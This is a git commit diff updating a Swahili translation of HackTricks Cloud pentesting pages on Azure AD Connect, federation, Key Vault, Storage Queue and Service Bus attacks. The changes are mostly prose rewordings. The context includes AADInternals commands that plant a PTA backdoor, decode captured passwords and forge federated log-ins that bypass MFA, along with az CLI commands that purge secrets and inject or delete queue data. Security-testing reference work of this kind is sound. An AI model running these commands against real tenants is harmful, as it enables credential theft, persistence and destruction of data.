Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 11:43:11 +00:00
parent b43d62ebcb
commit 5669651b7e
194 changed files with 1238 additions and 1253 deletions

View File

@@ -2,7 +2,7 @@
Tunathamini maarifa yako na kukuhimiza kushiriki maudhui. Tafadhali hakikisha unachapisha tu maudhui ambayo unamiliki au ambayo una ruhusa ya kuyashiriki kutoka kwa mwandishi wa asili (kuongeza rejea kwa mwandishi katika maandiko yaliyoongezwa au mwishoni mwa ukurasa unaobadilisha au vyote viwili). Heshima yako kwa haki za mali ya akili inakuza mazingira ya kushiriki ambayo ni ya kuaminika na kisheria kwa kila mtu.
## HackTricks Training
Ikiwa unongeza ili uweze kupita katika mtihani wa [ARTE certification](https://training.hacktricks.xyz/courses/arte) kwa bendera 2 badala ya 3, unahitaji kuita PR `arte-<username>`.
Ikiwa unongeza ili uweze kupita mtihani wa [ARTE certification](https://training.hacktricks.xyz/courses/arte) kwa bendera 2 badala ya 3, unahitaji kuita PR `arte-<username>`.
Pia, kumbuka kwamba marekebisho ya sarufi/sintaksis hayatakubaliwa kwa kupunguza bendera za mtihani.

View File

@@ -13,13 +13,13 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co
### **Pentesting CI/CD Methodology**
**Katika HackTricks CI/CD Methodology utaweza kuona jinsi ya pentest miundombinu inayohusiana na shughuli za CI/CD.** Soma ukurasa ufuatao kwa **utangulizi:**
**Katika HackTricks CI/CD Methodology utaweza kupata jinsi ya pentest miundombinu inayohusiana na shughuli za CI/CD.** Soma ukurasa ufuatao kwa **utangulizi:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
**Katika HackTricks Cloud Methodology utaweza kuona jinsi ya pentest mazingira ya wingu.** Soma ukurasa ufuatao kwa **utangulizi:**
**Katika HackTricks Cloud Methodology utaweza kupata jinsi ya pentest mazingira ya wingu.** Soma ukurasa ufuatao kwa **utangulizi:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)

View File

@@ -4,7 +4,7 @@
## Basic Information
Ushirikiano kati ya **On-premises Active Directory (AD)** na **Azure AD** unarahisishwa na **Azure AD Connect**, ukitoa mbinu mbalimbali zinazosaidia **Single Sign-on (SSO)**. Kila mbinu, ingawa ni muhimu, ina hatari za usalama zinazoweza kutumiwa kuathiri mazingira ya wingu au ya ndani:
Ushirikiano kati ya **On-premises Active Directory (AD)** na **Azure AD** unarahisishwa na **Azure AD Connect**, ukitoa mbinu mbalimbali zinazosaidia **Single Sign-on (SSO)**. Kila mbinu, ingawa ni muhimu, ina uwezekano wa udhaifu wa usalama ambao unaweza kutumiwa kuathiri mazingira ya wingu au ya ndani:
- **Pass-Through Authentication (PTA)**:
- Uwezekano wa kuathiriwa kwa wakala kwenye AD ya ndani, kuruhusu uthibitishaji wa nywila za watumiaji kwa ajili ya muunganisho wa Azure (kutoka ndani hadi Wingu).
@@ -15,7 +15,7 @@ pta-pass-through-authentication.md
{{#endref}}
- **Password Hash Sync (PHS)**:
- Uwezekano wa kutoa nywila za wazi za watumiaji wenye mamlaka kutoka AD, ikiwa ni pamoja na akidi za mtumiaji wa AzureAD aliyejengwa kwa mamlaka ya juu.
- Uwezekano wa kutoa nywila za wazi za watumiaji wenye mamlaka kutoka AD, ikiwa ni pamoja na akauti za mtumiaji wa AzureAD aliyejengwa kiotomatiki mwenye mamlaka ya juu.
{{#ref}}
phs-password-hash-sync.md
@@ -36,7 +36,7 @@ seamless-sso.md
{{#endref}}
- **Cloud Kerberos Trust**:
- Uwezekano wa kupandisha kutoka kwa Global Admin hadi kwa Domain Admin wa ndani kwa kubadilisha majina ya watumiaji wa AzureAD na SIDs na kuomba TGTs kutoka AzureAD.
- Uwezekano wa kupanda kutoka kwa Global Admin hadi kwa On-prem Domain Admin kwa kubadilisha majina ya watumiaji wa AzureAD na SIDs na kuomba TGTs kutoka AzureAD.
{{#ref}}
az-cloud-kerberos-trust.md
@@ -49,7 +49,7 @@ az-cloud-kerberos-trust.md
az-default-applications.md
{{#endref}}
Kwa kila mbinu ya ushirikiano, usawazishaji wa watumiaji unafanywa, na akaunti ya `MSOL_<installationidentifier>` inaundwa katika AD ya ndani. Kwa kuzingatia, mbinu zote mbili **PHS** na **PTA** zinasaidia **Seamless SSO**, kuruhusu kuingia kiotomatiki kwa kompyuta za Azure AD zilizounganishwa na eneo la ndani.
Kwa kila mbinu ya ushirikiano, usawazishaji wa watumiaji unafanywa, na akaunti ya `MSOL_<installationidentifier>` inaundwa katika AD ya ndani. Kwa kuzingatia, mbinu zote **PHS** na **PTA** zinasaidia **Seamless SSO**, kuruhusu kuingia kiotomatiki kwa kompyuta za Azure AD zilizounganishwa na kikoa cha ndani.
Ili kuthibitisha usakinishaji wa **Azure AD Connect**, amri ifuatayo ya PowerShell, ikitumia moduli ya **AzureADConnectHealthSync** (iliyowekwa kwa chaguo-msingi na Azure AD Connect), inaweza kutumika:
```powershell

View File

@@ -6,7 +6,7 @@
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication inaruhusu watumiaji wako **kuingia kwenye programu za ndani na za wingu wakitumia nywila sawa**. Kipengele hiki kinawapa watumiaji wako uzoefu bora - nywila moja kidogo ya kukumbuka, na hupunguza gharama za msaada wa IT kwa sababu watumiaji wako wana uwezekano mdogo wa kusahau jinsi ya kuingia. Wakati watumiaji wanaingia wakitumia Azure AD, kipengele hiki **kinathibitisha nywila za watumiaji moja kwa moja dhidi ya Active Directory yako ya ndani**.
Katika PTA **identities** zinahusishwa lakini **nywila** **hazihusishwi** kama katika PHS.
Katika PTA **vitambulisho** vinakuwa **vimeunganishwa** lakini **nywila** **hazijakubaliwa** kama ilivyo katika PHS.
Uthibitishaji unathibitishwa katika AD ya ndani na mawasiliano na wingu yanafanywa na **wakala wa uthibitishaji** anayekimbia katika **seva ya ndani** (haipaswi kuwa kwenye DC ya ndani).
@@ -14,41 +14,41 @@ Uthibitishaji unathibitishwa katika AD ya ndani na mawasiliano na wingu yanafany
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Ili **kuingia** mtumiaji anapelekwa kwenye **Azure AD**, ambapo anatumia **jina la mtumiaji** na **nywila**
2. **Taarifa za kuingia** zinahifadhiwa **kwa siri** na kuwekwa kwenye **foleni** katika Azure AD
1. Ili **kuingia** mtumiaji anarejeshwa kwa **Azure AD**, ambapo anatumia **jina la mtumiaji** na **nywila**
2. **Taarifa za kuingia** zinakuwa **zimefichwa** na kuwekwa kwenye **foleni** katika Azure AD
3. **Wakala wa uthibitishaji wa ndani** anakusanya **taarifa za kuingia** kutoka kwenye foleni na **kuzifungua**. Wakala huyu anaitwa **"Pass-through authentication agent"** au **PTA agent.**
4. **Wakala** **anathibitisha** taarifa dhidi ya **AD ya ndani** na anatumia **jibu** **kurudi** kwa Azure AD ambayo, ikiwa jibu ni chanya, **inakamilisha kuingia** kwa mtumiaji.
> [!WARNING]
> Ikiwa mshambuliaji **anashambulia** **PTA** anaweza **kuona** taarifa zote **za kuingia** kutoka kwenye foleni (katika **maandishi wazi**).\
> Anaweza pia **kuhakiki taarifa zozote** kwa AzureAD (shambulio linalofanana na ufunguo wa Skeleton).
> Anaweza pia **kuhakiki taarifa zozote za kuingia** kwa AzureAD (shambulio linalofanana na ufunguo wa Skeleton).
### On-Prem -> cloud
Ikiwa una **ufikiaji wa admin** kwa **seva ya Azure AD Connect** yenye **wakala wa PTA** akifanya kazi, unaweza kutumia moduli ya **AADInternals** ku **ingiza nyuma ya mlango** ambayo it **athibitisha NYWILA ZOTE** zilizowekwa (hivyo nywila zote zitakuwa halali kwa uthibitishaji):
Ikiwa una **ufikiaji wa admin** kwa **seva ya Azure AD Connect** yenye **wakala wa PTA** anayekimbia, unaweza kutumia moduli ya **AADInternals** ku **ingiza nyuma ya mlango** ambayo it **athibitisha NYWILA ZOTE** zilizowekwa (hivyo nywila zote zitakuwa halali kwa uthibitishaji):
```powershell
Install-AADIntPTASpy
```
> [!NOTE]
> Ikiwa **ufungaji unashindwa**, hii inaweza kuwa kutokana na kukosekana kwa [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Pia inawezekana **kuona nywila za maandiko wazi zinazotumwa kwa wakala wa PTA** kwa kutumia cmdlet ifuatayo kwenye mashine ambapo nyuma ya mlango wa awali ilifungwa:
Pia inawezekana **kuona nywila za maandiko wazi zinazotumwa kwa wakala wa PTA** kwa kutumia cmdlet ifuatayo kwenye mashine ambapo nyuma ya mlango wa awali ilipowekwa:
```powershell
Get-AADIntPTASpyLog -DecodePasswords
```
Hii backdoor itafanya:
- Kuunda folda ya siri `C:\PTASpy`
- Kuunda folda iliyofichwa `C:\PTASpy`
- Nakala ya `PTASpy.dll` kwenye `C:\PTASpy`
- Inajumuisha `PTASpy.dll` kwenye mchakato wa `AzureADConnectAuthenticationAgentService`
> [!NOTE]
> Wakati huduma ya AzureADConnectAuthenticationAgent inapoanzishwa upya, PTASpy "imeondolewa" na inapaswa kusanikishwa tena.
> Wakati huduma ya AzureADConnectAuthenticationAgent inapoanzishwa upya, PTASpy "imeondolewa" na inapaswa kusakinishwa tena.
### Cloud -> On-Prem
> [!CAUTION]
> Baada ya kupata **GA privileges** kwenye wingu, inawezekana **kujiandikisha wakala mpya wa PTA** kwa kuweka kwenye **kifaa kinachodhibitiwa na mshambuliaji**. Mara wakala anapokuwa **amewekwa**, tunaweza **kurudia** hatua **za awali** ili **kujiandikisha kwa kutumia nenosiri lolote** na pia, **kupata nenosiri kwa maandiko wazi.**
> Baada ya kupata **GA privileges** kwenye wingu, inawezekana **kujiandikisha wakala mpya wa PTA** kwa kuweka kwenye **kifaa kinachodhibitiwa na mshambuliaji**. Mara wakala anapokuwa **amewekwa**, tunaweza **kurudia** hatua za **awali** ili **kujiandikisha kwa kutumia nenosiri lolote** na pia, **kupata nenosiri kwa maandiko wazi.**
### Seamless SSO

View File

@@ -70,7 +70,7 @@ Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kutekelezwa:
> [!TIP]
> Hii haipuuzi MFA ikiwa imewezeshwa
#### Chaguo la 2 bila dcsync - SeamlessPass
#### Chaguo 2 bila dcsync - SeamlessPass
Pia inawezekana kufanya shambulio hili **bila shambulio la dcsync** ili kuwa na siri zaidi kama [ilivyoelezwa katika chapisho hili la blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Kwa hiyo unahitaji tu moja ya yafuatayo:
@@ -87,10 +87,10 @@ Taarifa zaidi za kuweka Firefox kufanya kazi na seamless SSO zinaweza [**kupatik
#### ~~Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) sahihi.
Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii, tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) sahihi.
> [!CAUTION]
> Kubadilisha SID ya watumiaji wa usimamizi wa wingu pekee sasa **imezuiwa na Microsoft**.\
> Kubadilisha SID ya watumiaji wa usimamizi wa wingu pekee sasa **kumezuiwa na Microsoft**.\
> Kwa maelezo zaidi angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### On-prem -> Wingu kupitia Uwakilishi wa Rasilimali ulio na Mipaka <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
@@ -99,7 +99,7 @@ Mtu yeyote anayeweza kusimamia akaunti za kompyuta (`AZUREADSSOACC$`) katika kon
```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
```
## Marejeleo
## Marejeo
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)

View File

@@ -10,7 +10,7 @@ Zaidi ya hayo, unaweza pia kukubali programu hiyo kwa mtumiaji wako kama njia ya
### Applications and Service Principals
Kwa ruhusa za Msimamizi wa Programu, GA au jukumu la kawaida lenye ruhusa microsoft.directory/applications/credentials/update, tunaweza kuongeza akidi (siri au cheti) kwa programu iliyopo.
Kwa ruhusa za Msimamizi wa Programu, GA au jukumu la kawaida lenye ruhusa microsoft.directory/applications/credentials/update, tunaweza kuongeza akreditivu (siri au cheti) kwa programu iliyopo.
Inawezekana **kulenga programu yenye ruhusa kubwa** au **kuongeza programu mpya** yenye ruhusa kubwa.
@@ -28,7 +28,7 @@ Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <T
```
### Federation - Token Signing Certificate
Kwa **haki za DA** kwenye AD ya ndani, inawezekana kuunda na kuingiza **vyeti vipya vya kusaini Token** na **vyeti vya Kufichua Token** ambavyo vina muda mrefu wa uhalali. Hii itaturuhusu **kuingia kama mtumiaji yeyote** ambaye ImuutableID yake tunajua.
Kwa **privileges za DA** kwenye AD ya ndani, inawezekana kuunda na kuingiza **vyeti vipya vya kusaini Token** na **vyeti vya Kufichua Token** ambavyo vina muda mrefu wa uhalali. Hii itaturuhusu **kuingia kama mtumiaji yeyote** ambaye ImuutableID yake tunajua.
**Kimbia** amri iliyo hapa chini kama **DA kwenye seva za ADFS** kuunda vyeti vipya (nenosiri la default 'AADInternals'), viweke kwenye ADFS, zima auto rollver na anzisha huduma:
```powershell
@@ -40,7 +40,7 @@ Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federation - Trusted Domain
Kwa kuwa na haki za GA kwenye mpangilio, inawezekana **kuongeza eneo jipya** (lazima liwe limehakikishwa), kuunda aina yake ya uthibitishaji kuwa Federated na kuunda eneo hilo **kuamini cheti maalum** (any.sts katika amri iliyo hapa chini) na mtoaji:
Kwa kuwa na haki za GA kwenye mpangilio, inawezekana **kuongeza eneo jipya** (lazima liwe limehakikishwa), kuunda aina yake ya uthibitishaji kuwa ya Shirikisho na kuunda eneo hilo **kuamini cheti maalum** (any.sts katika amri iliyo hapa chini) na mtoaji:
```powershell
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
@@ -51,7 +51,7 @@ Get-MsolUser | select userPrincipalName,ImmutableID
# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
```
## Marejeleo
## Marejeo
- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### Vitendo: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Ruhusa hii inamruhusu mshambuliaji kuunda au kubadilisha foleni na mali zao ndani ya akaunti ya hifadhi. Inaweza kutumika kuunda foleni zisizoidhinishwa, kubadilisha metadata, au kubadilisha orodha za udhibiti wa ufikiaji (ACLs) ili kutoa au kupunguza ufikiaji. Uwezo huu unaweza kuharibu michakato, kuingiza data mbaya, kuhamasisha taarifa nyeti, au kubadilisha mipangilio ya foleni ili kuwezesha mashambulizi zaidi.
Ruhusa hii inaruhusu mshambuliaji kuunda au kubadilisha queues na mali zao ndani ya akaunti ya hifadhi. Inaweza kutumika kuunda queues zisizoidhinishwa, kubadilisha metadata, au kubadilisha orodha za udhibiti wa ufikiaji (ACLs) ili kutoa au kupunguza ufikiaji. Uwezo huu unaweza kuharibu michakato, kuingiza data mbaya, kuhamasisha taarifa nyeti, au kubadilisha mipangilio ya queue ili kuwezesha mashambulizi zaidi.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
@@ -20,7 +20,7 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## Marejeleo
## Marejeo
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

View File

@@ -14,11 +14,11 @@ Kwa maelezo zaidi kuhusu uhifadhi angalia:
- Hifadhi funguo za ufikiaji
- Tengeneza SAS
- Mtumiaji aliyetengwa ni siku 7 tu
- Watumiaji walipewa mamlaka ni siku 7 tu
### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
Ruhusa hizi zinamruhusu mtumiaji kubadilisha mali za huduma ya blob kwa kipengele cha uhifadhi wa kufutwa, ambacho kinawaruhusu au kuunda kipindi cha uhifadhi kwa kontena zilizofutwa. Ruhusa hizi zinaweza kutumika kudumisha kudumu ili kutoa fursa kwa mshambuliaji kurejesha au kubadilisha kontena zilizofutwa ambazo zinapaswa kuwa zimeondolewa kabisa na kufikia taarifa nyeti.
Ruhusa hizi zinamruhusu mtumiaji kubadilisha mali za huduma ya blob kwa kipengele cha uhifadhi wa kufutwa, ambacho kinamwezesha au kuunda kipindi cha uhifadhi kwa kontena zilizofutwa. Ruhusa hizi zinaweza kutumika kwa kudumisha kudumu ili kutoa fursa kwa mshambuliaji kurejesha au kubadilisha kontena zilizofutwa ambazo zinapaswa kuwa zimeondolewa kabisa na kufikia taarifa nyeti.
```bash
az storage account blob-service-properties update \
--account-name <STORAGE_ACCOUNT_NAME> \

View File

@@ -10,7 +10,7 @@ Kwa maelezo zaidi kuhusu function apps angalia:
../az-services/az-function-apps.md
{{#endref}}
> [!CAUTION] > **Hila za post exploitation za Function Apps zinahusiana sana na hila za kupandisha hadhi** hivyo unaweza kuziona zote huko:
> [!CAUTION] > **Hila za post exploitation za Function Apps zina uhusiano mkubwa na hila za kupandisha hadhi** hivyo unaweza kuziona zote huko:
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md

View File

@@ -21,13 +21,13 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
```
### **Microsoft.KeyVault/vaults/certificates/purge/action**
Ruhusa hii inaruhusu mhusika kufuta kwa kudumu cheti kutoka kwenye vault.
Ruhusa hii inaruhusu mtu mwenye mamlaka kufuta kabisa cheti kutoka kwenye vault.
```bash
az keyvault certificate purge --vault-name <vault name> --name <certificate name>
```
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
Ruhusa hii inaruhusu mhusika kuficha data kwa kutumia funguo iliyohifadhiwa katika vault.
Ruhusa hii inaruhusu mhusika kuficha data kwa kutumia ufunguo uliohifadhiwa katika vault.
```bash
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
@@ -46,37 +46,37 @@ az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm
```
### **Microsoft.KeyVault/vaults/keys/purge/action**
Ruhusa hii inaruhusu mhusika kufuta funguo kwa kudumu kutoka kwenye vault.
Ruhusa hii inaruhusu mtu mwenye mamlaka kufuta funguo kwa kudumu kutoka kwenye vault.
```bash
az keyvault key purge --vault-name <vault name> --name <key name>
```
### **Microsoft.KeyVault/vaults/secrets/purge/action**
Ruhusa hii inaruhusu mhusika kufuta kwa kudumu siri kutoka kwenye vault.
Ruhusa hii inaruhusu mhusika kufuta siri kwa kudumu kutoka kwenye vault.
```bash
az keyvault secret purge --vault-name <vault name> --name <secret name>
```
### **Microsoft.KeyVault/vaults/secrets/setSecret/action**
Ruhusa hii inaruhusu mhusika kuunda au kuboresha siri katika vault.
Ruhusa hii inaruhusu kiongozi kuunda au kuboresha siri katika vault.
```bash
az keyvault secret set --vault-name <vault name> --name <secret name> --value <secret value>
```
### **Microsoft.KeyVault/vaults/certificates/delete**
Ruhusa hii inaruhusu kiongozi kufuta cheti kutoka kwenye vault. Cheti kinahamishwa kwenye hali ya "soft-delete", ambapo kinaweza kurejeshwa isipokuwa kimeondolewa kabisa.
Ruhusa hii inaruhusu mhusika kufuta cheti kutoka kwenye vault. Cheti kinahamishwa kwenye hali ya "soft-delete", ambapo kinaweza kurejeshwa isipokuwa kimeondolewa kabisa.
```bash
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
```
### **Microsoft.KeyVault/vaults/keys/delete**
Ruhusa hii inaruhusu kiongozi kufuta funguo kutoka kwenye vault. Funguo inahamishwa kwenye hali ya "soft-delete", ambapo inaweza kurejeshwa isipokuwa ikifutwa.
Ruhusa hii inaruhusu mhusika kufuta funguo kutoka kwenye vault. Funguo inahamishwa kwenye hali ya "soft-delete", ambapo inaweza kurejeshwa isipokuwa ikifutwa.
```bash
az keyvault key delete --vault-name <vault name> --name <key name>
```
### **Microsoft.KeyVault/vaults/secrets/delete**
Ruhusa hii inaruhusu mhusika kufuta siri kutoka kwenye vault. Siri inahamishwa kwenye hali ya "soft-delete", ambapo inaweza kurejeshwa isipokuwa ikifutwa.
Ruhusa hii inaruhusu kiongozi kufuta siri kutoka kwenye vault. Siri inahamishwa kwenye hali ya "soft-delete", ambapo inaweza kurejeshwa isipokuwa ikifutwa.
```bash
az keyvault secret delete --vault-name <vault name> --name <secret name>
```

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
Mshambuliaji mwenye ruhusa hii anaweza kuangalia ujumbe kutoka kwa Azure Storage Queue. Hii inamruhusu mshambuliaji kuona maudhui ya ujumbe bila kuashiria kuwa yamechakatwa au kubadilisha hali yao. Hii inaweza kusababisha ufikiaji usioidhinishwa wa taarifa nyeti, ikiruhusu uhamasishaji wa data au kukusanya taarifa kwa mashambulizi zaidi.
Mshambuliaji mwenye ruhusa hii anaweza kuangalia ujumbe kutoka kwa Azure Storage Queue. Hii inamruhusu mshambuliaji kuona maudhui ya ujumbe bila kuashiria kuwa umeshughulikiwa au kubadilisha hali yao. Hii inaweza kusababisha ufikiaji usioidhinishwa wa taarifa nyeti, ikiruhusu uhamasishaji wa data au kukusanya taarifa kwa mashambulizi zaidi.
```bash
az storage message peek --queue-name <queue_name> --account-name <storage_account>
```
@@ -20,7 +20,7 @@ az storage message peek --queue-name <queue_name> --account-name <storage_accoun
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
Kwa ruhusa hii, mshambuliaji anaweza kupata na kushughulikia ujumbe kutoka kwa Azure Storage Queue. Hii inamaanisha wanaweza kusoma maudhui ya ujumbe na kuashiria kama umeshughulikiwa, kwa ufanisi wakificha kutoka kwa mifumo halali. Hii inaweza kusababisha kufichuliwa kwa data nyeti, usumbufu katika jinsi ujumbe unavyoshughulikiwa, au hata kusitisha michakato muhimu kwa kufanya ujumbe usipatikane kwa watumiaji wao waliokusudiwa.
Kwa ruhusa hii, mshambuliaji anaweza kupata na kushughulikia ujumbe kutoka kwa Azure Storage Queue. Hii inamaanisha wanaweza kusoma maudhui ya ujumbe na kuashiria kama umeshughulikiwa, kwa ufanisi wakificha kutoka kwa mifumo halali. Hii inaweza kusababisha data nyeti kufichuliwa, usumbufu katika jinsi ujumbe unavyoshughulikiwa, au hata kusitisha michakato muhimu kwa kufanya ujumbe usipatikane kwa watumiaji wao waliokusudiwa.
```bash
az storage message get --queue-name <queue_name> --account-name <storage_account>
```
@@ -32,7 +32,7 @@ az storage message put --queue-name <queue-name> --content "Injected malicious m
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
Ruhusa hii inamruhusu mshambuliaji kuongeza ujumbe mpya au kuboresha wale waliopo katika Azure Storage Queue. Kwa kutumia hii, wanaweza kuingiza maudhui mabaya au kubadilisha ujumbe waliopo, ambayo yanaweza kuongoza programu vibaya au kusababisha tabia zisizohitajika katika mifumo inayotegemea foleni.
Ruhusa hii inamruhusu mshambuliaji kuongeza ujumbe mpya au kuboresha wale waliopo katika Azure Storage Queue. Kwa kutumia hii, wanaweza kuingiza maudhui mabaya au kubadilisha ujumbe waliopo, ambayo yanaweza kupelekea upotoshaji wa programu au kusababisha tabia zisizohitajika katika mifumo inayotegemea foleni.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
@@ -46,19 +46,19 @@ az storage message update --queue-name <queue-name> \
```
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
Ruhusa hii inaruhusu mshambuliaji kufuta foleni ndani ya akaunti ya hifadhi. Kwa kutumia uwezo huu, mshambuliaji anaweza kuondoa kwa kudumu foleni na ujumbe wao wote waliounganishwa, na kusababisha usumbufu mkubwa katika michakato na kusababisha kupoteza kwa data muhimu kwa programu zinazotegemea foleni zilizoathiriwa. Kitendo hiki kinaweza pia kutumika kuharibu huduma kwa kuondoa vipengele muhimu vya mfumo.
Ruhusa hii inamruhusu mshambuliaji kufuta foleni ndani ya akaunti ya hifadhi. Kwa kutumia uwezo huu, mshambuliaji anaweza kuondoa kwa kudumu foleni na ujumbe wao wote waliounganishwa, na kusababisha usumbufu mkubwa katika michakato na kusababisha kupoteza kwa data muhimu kwa programu zinazotegemea foleni zilizoathirika. Kitendo hiki kinaweza pia kutumika kuharibu huduma kwa kuondoa vipengele muhimu vya mfumo.
```bash
az storage queue delete --name <queue-name> --account-name <storage-account>
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete`
Kwa ruhusa hii, mshambuliaji anaweza kufuta ujumbe wote kutoka kwa Azure Storage Queue. Kitendo hiki kinafuta ujumbe wote, kinaharibu mchakato wa kazi na kusababisha kupoteza data kwa mifumo inayotegemea foleni hiyo.
Kwa ruhusa hii, mshambuliaji anaweza kufuta ujumbe wote kutoka kwa Azure Storage Queue. Kitendo hiki kinafuta ujumbe wote, kinaharibu mchakato wa kazi na kusababisha kupoteza data kwa mifumo inayotegemea foleni.
```bash
az storage message clear --queue-name <queue-name> --account-name <storage-account>
```
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Ruhusa hii inaruhusu mshambuliaji kuunda au kubadilisha foleni na mali zao ndani ya akaunti ya hifadhi. Inaweza kutumika kuunda foleni zisizoidhinishwa, kubadilisha metadata, au kubadilisha orodha za udhibiti wa ufikiaji (ACLs) ili kutoa au kupunguza ufikiaji. Uwezo huu unaweza kuharibu mchakato wa kazi, kuingiza data mbaya, kuhamasisha taarifa nyeti, au kubadilisha mipangilio ya foleni ili kuwezesha mashambulizi zaidi.
Ruhusa hii inaruhusu mshambuliaji kuunda au kubadilisha foleni na mali zao ndani ya akaunti ya hifadhi. Inaweza kutumika kuunda foleni zisizoidhinishwa, kubadilisha metadata, au kubadilisha orodha za udhibiti wa ufikiaji (ACLs) ili kutoa au kupunguza ufikiaji. Uwezo huu unaweza kuharibu michakato, kuingiza data mbaya, kuhamasisha taarifa nyeti, au kubadilisha mipangilio ya foleni ili kuwezesha mashambulizi zaidi.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
@@ -66,7 +66,7 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## Marejeleo
## Marejeo
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

View File

@@ -18,7 +18,7 @@ az servicebus namespace delete --resource-group <ResourceGroupName> --name <Name
```
### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
Mshambuliaji mwenye ruhusa hii anaweza kufuta mada ya Azure Service Bus. Kitendo hiki kinafuta mada na usajili wake wote na ujumbe, na hivyo kuweza kusababisha kupoteza data muhimu na kuharibu mifumo na michakato inayotegemea mada hiyo.
Mshambuliaji mwenye ruhusa hii anaweza kufuta mada ya Azure Service Bus. Kitendo hiki kinafuta mada na usajili wake wote na ujumbe, na hivyo kusababisha kupoteza data muhimu na kuharibu mifumo na michakato inayotegemea mada hiyo.
```bash
az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
```
@@ -36,21 +36,21 @@ az servicebus topic subscription delete --resource-group <ResourceGroupName> --n
```
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
Mshambuliaji mwenye ruhusa za kuunda au kubadilisha Azure Service Bus namespaces anaweza kutumia hii kuharibu shughuli, kupeleka rasilimali zisizoidhinishwa, au kufichua data nyeti. Wanaweza kubadilisha mipangilio muhimu kama vile kuwezesha ufikiaji wa mtandao wa umma, kupunguza mipangilio ya usimbuaji, au kubadilisha SKUs ili kupunguza utendaji au kuongeza gharama. Zaidi ya hayo, wanaweza kuzima uthibitishaji wa ndani, kubadilisha maeneo ya nakala, au kurekebisha toleo la TLS ili kupunguza udhibiti wa usalama, na kufanya makosa ya usanidi wa namespace kuwa hatari kubwa baada ya kutekeleza.
